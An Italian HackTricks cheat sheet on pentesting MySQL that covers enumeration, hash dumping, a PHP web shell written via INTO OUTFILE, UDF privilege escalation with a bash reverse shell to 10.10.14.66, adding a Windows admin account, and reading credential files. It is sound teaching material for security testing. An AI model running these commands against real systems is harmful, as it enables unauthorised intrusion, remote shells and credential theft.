hacktricks/network-services-pentesting/pentesting-mysql.md

654 lines
24 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3306 - Test di penetrazione MySQL
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
## **Informazioni di base**
**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Opera sul **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database.
**Porta predefinita:** 3306
```
3306/tcp open mysql
```
## **Connetti**
### **Locale**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Remoto
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Enumerazione Esterna
Alcune azioni di enumerazione richiedono credenziali valide
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
### Scrivere dati binari
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **Comandi MySQL**
```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### Enumerazione dei permessi MySQL
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
Puoi vedere nella documentazione il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
### RCE File MySQL
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
{% endcontent-ref %}
## Lettura arbitraria file MySQL da parte del client
Attualmente, quando si tenta di **caricare dati locali in una tabella** il **contenuto di un file** il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manipolare un client mysql per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\
Si prega di notare che questo è il comportamento utilizzando:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Nota la parola "locale")\
Perché senza la parola "locale" puoi ottenere:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**PoC Iniziale:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In questo documento è possibile vedere una descrizione completa dell'attacco e persino come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Qui è possibile trovare una panoramica dell'attacco:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
## POST
### Utente Mysql
Sarebbe molto interessante se mysql fosse in esecuzione come **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Impostazioni Pericolose di mysqld.cnf
Nella configurazione dei servizi MySQL, vengono impiegate varie impostazioni per definire il suo funzionamento e le misure di sicurezza:
- L'impostazione **`user`** è utilizzata per designare l'utente con cui il servizio MySQL verrà eseguito.
- **`password`** è applicata per stabilire la password associata all'utente MySQL.
- **`admin_address`** specifica l'indirizzo IP che ascolta le connessioni TCP/IP sull'interfaccia di rete amministrativa.
- La variabile **`debug`** indica le configurazioni di debug attuali, inclusi dati sensibili nei log.
- **`sql_warnings`** gestisce la generazione di stringhe di informazioni per le istruzioni di inserimento di singole righe quando compaiono avvisi, contenenti dati sensibili nei log.
- Con **`secure_file_priv`**, il campo di operazioni di importazione ed esportazione dati è limitato per migliorare la sicurezza.
### Escalation dei Privilegi
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Escalazione dei privilegi tramite libreria
Se il **server mysql viene eseguito come root** (o un utente diverso con privilegi superiori) puoi farlo eseguire comandi. Per fare ciò, è necessario utilizzare le **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo su cui viene eseguito mysql.
La libreria dannosa da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e quelli **`.dll`** sono quelli di **Windows**, scegli quello di cui hai bisogno.
Se **non hai** quelle librerie, puoi **cercarle**, o scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Ora che hai la libreria, accedi a Mysql come utente privilegiato (root?) e segui i passaggi successivi:
#### Linux
```sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
```sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Estrarre le credenziali MySQL dai file
All'interno di _/etc/mysql/debian.cnf_ è possibile trovare la **password in testo normale** dell'utente **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Puoi **utilizzare queste credenziali per accedere al database mysql**.
All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database)_._
Puoi estrarli eseguendo:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Abilitazione del logging
È possibile abilitare il logging delle query mysql all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe:
![](<../.gitbook/assets/image (899).png>)
### File utili
File di configurazione
* windows \*
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
* Cronologia dei comandi
* \~/.mysql.history
* File di log
* connections.log
* update.log
* common.log
## Database/Tabelle predefinite di MySQL
{% tabs %}
{% tab title="information_schema" %}
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
COLLATIONS\
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
COLUMNS\
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL\_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
STATISTICS\
SYSTEM\_VARIABLES\
TABLES\
TABLESPACES\
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
TRIGGERS\
USER\_PRIVILEGES\
VIEWS\
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
{% endtab %}
{% tab title="mysql" %}
columns\_priv\
column\_stats\
db\
engine\_cost\
event\
func\
general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
host\
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
plugin\
proc\
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
servers\
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
user
{% endtab %}
{% tab title="performance_schema" %}
accounts\
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
hosts\
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
threads\
user\_variables\_by\_thread\
users\
variables\_by\_thread
{% endtab %}
{% tab title="sys" %}
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
metrics\
processlist\
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
```markdown
schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host_summary\
x$host_summary_by_file_io\
x$host_summary_by_file_io_type\
x$host_summary_by_stages\
x$host_summary_by_statement_latency\
x$host_summary_by_statement_type\
x$innodb_buffer_stats_by_schema\
x$innodb_buffer_stats_by_table\
x$innodb_lock_waits\
x$io_by_thread_by_latency\
x$io_global_by_file_by_bytes\
x$io_global_by_file_by_latency\
x$io_global_by_wait_by_bytes\
x$io_global_by_wait_by_latency\
x$latest_file_io\
x$memory_by_host_by_current_bytes\
x$memory_by_thread_by_current_bytes\
x$memory_by_user_by_current_bytes\
x$memory_global_by_current_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest_95th_percentile_by_avg_us\
x$ps_digest_avg_latency_distribution\
x$ps_schema_table_statistics_io\
x$schema_flattened_keys\
x$schema_index_statistics\
x$schema_table_lock_waits\
x$schema_table_statistics\
x$schema_table_statistics_with_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements_with_errors_or_warnings\
x$statements_with_full_table_scans\
x$statements_with_runtimes_in_95th_percentile\
x$statements_with_sorting\
x$statements_with_temp_tables\
x$user_summary\
x$user_summary_by_file_io\
x$user_summary_by_file_io_type\
x$user_summary_by_stages\
x$user_summary_by_statement_latency\
x$user_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait_classes_global_by_latency\
x$waits_by_host_by_latency\
x$waits_by_user_by_latency\
x$waits_global_by_latency
{% endtab %}
{% endtabs %}
```
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto d'incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
</details>